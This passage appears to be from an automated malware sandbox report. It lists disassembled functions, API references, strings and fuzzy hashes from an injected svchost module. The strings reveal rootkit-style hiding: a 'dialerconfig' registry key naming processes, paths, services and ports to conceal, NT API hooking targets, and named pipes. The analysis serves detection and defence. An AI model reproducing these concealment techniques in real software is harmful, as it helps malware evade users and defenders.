Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 99b07525fd2711d8e82b8b49fba128a9359a21ce05ef994d83d7f8484eb62716
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: F3314171B00A4593FF509B26DA4D3A963FCAB46FCAF0C54219E0BA7295FF1CC459C292

Function 000002A661303844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000002A66130385C

Strings

dialer, xrefs: 000002A661303855

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 84d7da99e8808b0adfb76846f8b28e16625e6655772c6f218550ef611b4de524
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 59D0A760B512498BFF14DFE688CDA603798EB09F45F8C4034D90213150DF6C8A9D9711

Function 000002A6612D273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002A6612D285E

Memory Dump Source

Source File: 0000001D.00000002.3143881196.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a6612d0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 1627250a6f1587746d6adcb486bc21ae0d1f8d3e6a0bb4f849c2ff22e67d6bd2
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: DC61F0B2F016908BDB548F25D0487ADB3AEFB55FA4F688121DE5907788DF38D89AC701

Non-executed Functions

Function 000002A661302B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002A661302BD0
lstrlenW.KERNEL32 ref: 000002A661302E0A

Part of subcall function 000002A66130199C: OpenProcess.KERNEL32 ref: 000002A6613019C2
Part of subcall function 000002A66130199C: K32GetModuleFileNameExW.KERNEL32 ref: 000002A6613019E0
Part of subcall function 000002A66130199C: PathFindFileNameW.SHLWAPI ref: 000002A6613019EF
Part of subcall function 000002A66130199C: lstrlenW.KERNEL32 ref: 000002A6613019FB
Part of subcall function 000002A66130199C: StrCpyW.SHLWAPI ref: 000002A661301A0E
Part of subcall function 000002A66130199C: CloseHandle.KERNEL32 ref: 000002A661301A1C

GetProcAddress.KERNEL32 ref: 000002A661302BE5

Part of subcall function 000002A66130152C: StrCmpIW.SHLWAPI ref: 000002A66130155D

Part of subcall function 000002A661303844: StrCmpNIW.SHLWAPI ref: 000002A66130385C

StrCmpNIW.SHLWAPI ref: 000002A661302C28
lstrlenW.KERNEL32 ref: 000002A661302D50

Strings

ntdll.dll, xrefs: 000002A661302BC9
NtQueryObject, xrefs: 000002A661302BDB
\Device\Nsi, xrefs: 000002A661302C1B

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 517c12f0b0e1090de60bb0fcc7bf1fefb46beb5eab338aff40a4245cd4b9731a
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 52B17C72B10A9087EB649F35D64C7A963E9F746F86F485016EE0A63B94DF39CC48C381

Function 000002A661307D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002A661307DAC
RtlCaptureContext.NTDLL ref: 000002A661307DD9
RtlLookupFunctionEntry.NTDLL ref: 000002A661307DF3
RtlVirtualUnwind.NTDLL ref: 000002A661307E34
IsDebuggerPresent.KERNEL32 ref: 000002A661307E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000002A661307EA9
UnhandledExceptionFilter.KERNEL32 ref: 000002A661307EB4

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: cc74eacb843f1603229d41cad126e5c04d88afadf7cf4452611ec155d591a17a
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: E5315072705B808AEB609F60E8483ED73A8F785B44F484429DA8E67B94EF7CC54DC710

Function 000002A66130D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002A66130D31D
RtlLookupFunctionEntry.NTDLL ref: 000002A66130D335
RtlVirtualUnwind.NTDLL ref: 000002A66130D370
IsDebuggerPresent.KERNEL32 ref: 000002A66130D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002A66130D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000002A66130D3BE

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 36f9f4375d1256616007857bae393de0df9f8980b3b202d925a5ac7eb32d36a2
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 4A316F32714F8086DB60CF25E84839E73A8F78AB55F580125EA9E53B68DF7CC159CB41

Function 000002A661301628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002A661301633
HeapAlloc.KERNEL32 ref: 000002A661301642

Part of subcall function 000002A661301268: GetProcessHeap.KERNEL32 ref: 000002A66130126E
Part of subcall function 000002A661301268: HeapAlloc.KERNEL32 ref: 000002A66130127D
Part of subcall function 000002A661301268: GetProcessHeap.KERNEL32 ref: 000002A661301297
Part of subcall function 000002A661301268: HeapAlloc.KERNEL32 ref: 000002A6613012A8

RegOpenKeyExW.ADVAPI32 ref: 000002A6613016B2
RegOpenKeyExW.ADVAPI32 ref: 000002A6613016DF
RegCloseKey.ADVAPI32 ref: 000002A6613016F9
RegOpenKeyExW.ADVAPI32 ref: 000002A661301719
RegCloseKey.ADVAPI32 ref: 000002A661301734
RegOpenKeyExW.ADVAPI32 ref: 000002A661301754
RegCloseKey.ADVAPI32 ref: 000002A66130176F
RegOpenKeyExW.ADVAPI32 ref: 000002A66130178F
RegCloseKey.ADVAPI32 ref: 000002A6613017AA
RegOpenKeyExW.ADVAPI32 ref: 000002A6613017CA
RegCloseKey.ADVAPI32 ref: 000002A6613017E5
RegOpenKeyExW.ADVAPI32 ref: 000002A661301805
RegCloseKey.ADVAPI32 ref: 000002A661301820
RegOpenKeyExW.ADVAPI32 ref: 000002A661301840
RegCloseKey.ADVAPI32 ref: 000002A66130185B
RegOpenKeyExW.ADVAPI32 ref: 000002A66130187B
RegCloseKey.ADVAPI32 ref: 000002A661301896
RegCloseKey.ADVAPI32 ref: 000002A6613018A0

Part of subcall function 000002A6613012BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002A661301319
Part of subcall function 000002A6613012BC: GetProcessHeap.KERNEL32 ref: 000002A661301327
Part of subcall function 000002A6613012BC: HeapAlloc.KERNEL32 ref: 000002A661301338
Part of subcall function 000002A6613012BC: RegEnumValueW.ADVAPI32 ref: 000002A661301397
Part of subcall function 000002A6613012BC: GetProcessHeap.KERNEL32 ref: 000002A6613013DF
Part of subcall function 000002A6613012BC: HeapAlloc.KERNEL32 ref: 000002A6613013ED
Part of subcall function 000002A6613012BC: GetProcessHeap.KERNEL32 ref: 000002A66130140A
Part of subcall function 000002A6613012BC: HeapFree.KERNEL32 ref: 000002A661301418
Part of subcall function 000002A6613012BC: lstrlenW.KERNEL32 ref: 000002A661301421
Part of subcall function 000002A6613012BC: GetProcessHeap.KERNEL32 ref: 000002A66130142F
Part of subcall function 000002A6613012BC: HeapAlloc.KERNEL32 ref: 000002A66130143D

Strings

service_names, xrefs: 000002A6613017C3
tcp_remote, xrefs: 000002A661301839
udp, xrefs: 000002A661301874
tcp_local, xrefs: 000002A6613017FE
startup, xrefs: 000002A6613016D5
SOFTWARE\dialerconfig, xrefs: 000002A661301692
paths, xrefs: 000002A661301788
process_names, xrefs: 000002A66130174D
pid, xrefs: 000002A661301712

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: c27f832fced2d29170b0e4fb301a485cb6098ecabde165e8eb95b814a7a813c5
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: BA71F476B10E5087EB10DF65E89D69933B8FB8AF8DF081121DA4F67A68DF28C548C341

Function 000002A6613012BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002A661301319
GetProcessHeap.KERNEL32 ref: 000002A661301327
HeapAlloc.KERNEL32 ref: 000002A661301338
RegEnumValueW.ADVAPI32 ref: 000002A661301397

Part of subcall function 000002A66130152C: StrCmpIW.SHLWAPI ref: 000002A66130155D

GetProcessHeap.KERNEL32 ref: 000002A6613013DF
HeapAlloc.KERNEL32 ref: 000002A6613013ED
GetProcessHeap.KERNEL32 ref: 000002A66130140A
HeapFree.KERNEL32 ref: 000002A661301418
lstrlenW.KERNEL32 ref: 000002A661301421
GetProcessHeap.KERNEL32 ref: 000002A66130142F
HeapAlloc.KERNEL32 ref: 000002A66130143D
StrCpyW.SHLWAPI ref: 000002A66130145F
GetProcessHeap.KERNEL32 ref: 000002A661301476
HeapFree.KERNEL32 ref: 000002A661301484

Strings

d, xrefs: 000002A66130135A

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 5c01c19bc0298f85c8339ea94e196dd5b5f1323890ee4be88120aa0ba9bb59bc
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: F0512776A14B8487EB50CFA2E44D35AB7B9F78AF89F094124DA4A27728DF7CC049C741

Function 000002A661301D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002A661301D1F

Part of subcall function 000002A661301FD4: GetModuleHandleA.KERNEL32 ref: 000002A661301FEC
Part of subcall function 000002A661301FD4: GetProcAddress.KERNEL32 ref: 000002A661301FFD

Part of subcall function 000002A661305B30: GetCurrentThreadId.KERNEL32 ref: 000002A661305B6B

Strings

NtDeviceIoControlFile, xrefs: 000002A661301E56
NtQuerySystemInformation, xrefs: 000002A661301D45
NtResumeThread, xrefs: 000002A661301D62
NtQueryDirectoryFile, xrefs: 000002A661301D7F
ntdll.dll, xrefs: 000002A661301D2D
EnumServiceGroupW, xrefs: 000002A661301DF0
EnumServicesStatusExW, xrefs: 000002A661301E11, 000002A661301E32
advapi32.dll, xrefs: 000002A661301DF7, 000002A661301E18
sechost.dll, xrefs: 000002A661301E39
NtEnumerateValueKey, xrefs: 000002A661301DD6
NtQueryDirectoryFileEx, xrefs: 000002A661301D9C
NtEnumerateKey, xrefs: 000002A661301DB9

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 147c2e2ec541b53145e726b289546c28288565d736413d3e5244b9f1f05d4738
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 8A31A064B10A5AA3EA04EBA5ED5E6D423A9B717F49F8C4113940B331659F3CC24DC3D2

Function 000002A6612D6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A6612D6938
__scrt_acquire_startup_lock.LIBCMT ref: 000002A6612D698A
_RTC_Initialize.LIBCMT ref: 000002A6612D69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A6612D69DE
__scrt_release_startup_lock.LIBCMT ref: 000002A6612D6A09

Strings

scriptor', xrefs: 000002A6612D6B39, 000002A6612D6BB2, 000002A6612D6BEC
`eh vector copy constructor iterator', xrefs: 000002A6612D6A3B
`dynamic initializer for ', xrefs: 000002A6612D69C7
`eh vector vbase copy constructor iterator', xrefs: 000002A6612D69EE

Memory Dump Source

Source File: 0000001D.00000002.3143881196.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a6612d0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: e87bf346922b52b2af9168f1f418e053012b6a09ee5fcf7955fafdcfd6fac762
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 0D81CE21F106818BFA54AB66D48D399329DAF87F80F5C8125DA4987796EF3CC9CD8703

Function 000002A66130CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000002A66130CE37
FlsGetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CE4C
FlsSetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CE6D
FlsSetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CE9A
FlsSetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CEAB
FlsSetValue.KERNEL32(?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CEBC
SetLastError.KERNEL32 ref: 000002A66130CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CF0D
FlsSetValue.KERNEL32(?,?,00000001,000002A66130ECCC,?,?,?,?,000002A66130BF9F,?,?,?,?,?,000002A661307AB0), ref: 000002A66130CF2C

Part of subcall function 000002A66130D6CC: HeapAlloc.KERNEL32 ref: 000002A66130D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CF54

Part of subcall function 000002A66130D744: HeapFree.KERNEL32 ref: 000002A66130D75A
Part of subcall function 000002A66130D744: GetLastError.KERNEL32 ref: 000002A66130D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002A661310A6B,?,?,?,000002A66131045C,?,?,?,000002A66130C84F), ref: 000002A66130CF76

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: a3ebcece3df98fd1e9725f906f8bf8db5f5c64855dc8a79f9fd7b15e885684d0
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 77417420F0128443FA68A735595D36922DD5B47FB2F1C4764A93B376E6DF2C980D8393

Function 000002A661302244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002A661302259
GetCurrentProcessId.KERNEL32 ref: 000002A661302263

Part of subcall function 000002A661301934: OpenProcess.KERNEL32 ref: 000002A661301952
Part of subcall function 000002A661301934: IsWow64Process.KERNEL32 ref: 000002A661301968
Part of subcall function 000002A661301934: CloseHandle.KERNEL32 ref: 000002A661301983

CreateFileW.KERNEL32 ref: 000002A6613022BC
WriteFile.KERNEL32 ref: 000002A6613022E4
ReadFile.KERNEL32 ref: 000002A661302303
CloseHandle.KERNEL32 ref: 000002A66130230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000002A66130228C
\\.\pipe\dialerchildproc32, xrefs: 000002A661302293

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 9e913e5ef9d9d4dd90f3ca067dd4efb44e8ac8cefc28dc1332a14b226ca3e093
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 6C213A72B18A9083EB10CB65E54D35A73A4F78ABA5F580215EA5A13AA8CF7CC149CB41

Function 000002A6612D9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002A6612D99A1

Part of subcall function 000002A6612DA814: __GetUnwindTryBlock.LIBCMT ref: 000002A6612DA857
Part of subcall function 000002A6612DA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002A6612DA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002A6612D9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002A6612D9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002A6612D9DDA

Strings

csm, xrefs: 000002A6612D99BB
csm, xrefs: 000002A6612D9A22
csm, xrefs: 000002A6612D9A9C

Memory Dump Source

Source File: 0000001D.00000002.3143881196.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a6612d0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 681959dd6542599d6789764f186a42efd8a6d505218f830932f82b8ebb8010d4
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: C1E17C32F04B808BEB609B65D45839D77ACFB56B98F181115EE8957B99CF38C0E9C702

Function 000002A66130A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002A66130A5A1

Part of subcall function 000002A66130B414: __GetUnwindTryBlock.LIBCMT ref: 000002A66130B457
Part of subcall function 000002A66130B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002A66130B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002A66130A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002A66130A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002A66130A9DA

Strings

csm, xrefs: 000002A66130A622
csm, xrefs: 000002A66130A69C
csm, xrefs: 000002A66130A5BB

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: f9dc5a9824cbe41745e6e6afb53450f4abea2dc5f6e99ba2920a5b912b4b268f
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: AEE19F72B047448BEB20DF25A44C39D7BE8F746B99F084115DE8A67BA5CF38C189C782

Function 000002A66130F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000002A66130F510
GetProcAddress.KERNEL32 ref: 000002A66130F51C

Strings

ext-ms-, xrefs: 000002A66130F46D
api-ms-, xrefs: 000002A66130F45A

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: fa6adfc857896f79626ba7455a121a59232fbacac11bf9aa969e94737a29d1b3
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 2241E122B15A0083EA16DB56A80C75533DDBB46FE1F0E41259D0BB7784EF3CC44D838A

Function 000002A66130104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002A6613010B1
RegEnumValueW.ADVAPI32 ref: 000002A661301117
GetProcessHeap.KERNEL32 ref: 000002A66130115A
HeapAlloc.KERNEL32 ref: 000002A661301168
GetProcessHeap.KERNEL32 ref: 000002A661301185
HeapFree.KERNEL32 ref: 000002A661301193

Strings

d, xrefs: 000002A6613010D6

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 29549edc3a05bb9f30fb41ffd792d5d1f480f0e7d2fd4d10c68227b69ff2f9b1
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 2B418B72614B80C7E764CF61E44839A77B5F389F89F488129DA8A17B58DF3CC489CB41

Function 000002A66130D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D087
FlsSetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D0A6
FlsSetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D0CE
FlsSetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D0DF
FlsSetValue.KERNEL32(?,?,?,000002A66130C7DE,?,?,?,?,?,?,?,?,000002A66130CF9D,?,?,00000001), ref: 000002A66130D0F0

Strings

Y%, xrefs: 000002A66130D0A6
1%, xrefs: 000002A66130D0CE

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: bc4377a1b8938ee1d589c6b188f15fe87120af383a10576ee3c01281e8991c6e
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: F2118620F0428443FA68A735595D36962DD5B46FF1F1C4324993B277DADF2CC40A8686

Function 000002A661307510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A661307538
__scrt_acquire_startup_lock.LIBCMT ref: 000002A66130758A
_RTC_Initialize.LIBCMT ref: 000002A6613075B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A6613075DE
__scrt_release_startup_lock.LIBCMT ref: 000002A661307609

Memory Dump Source

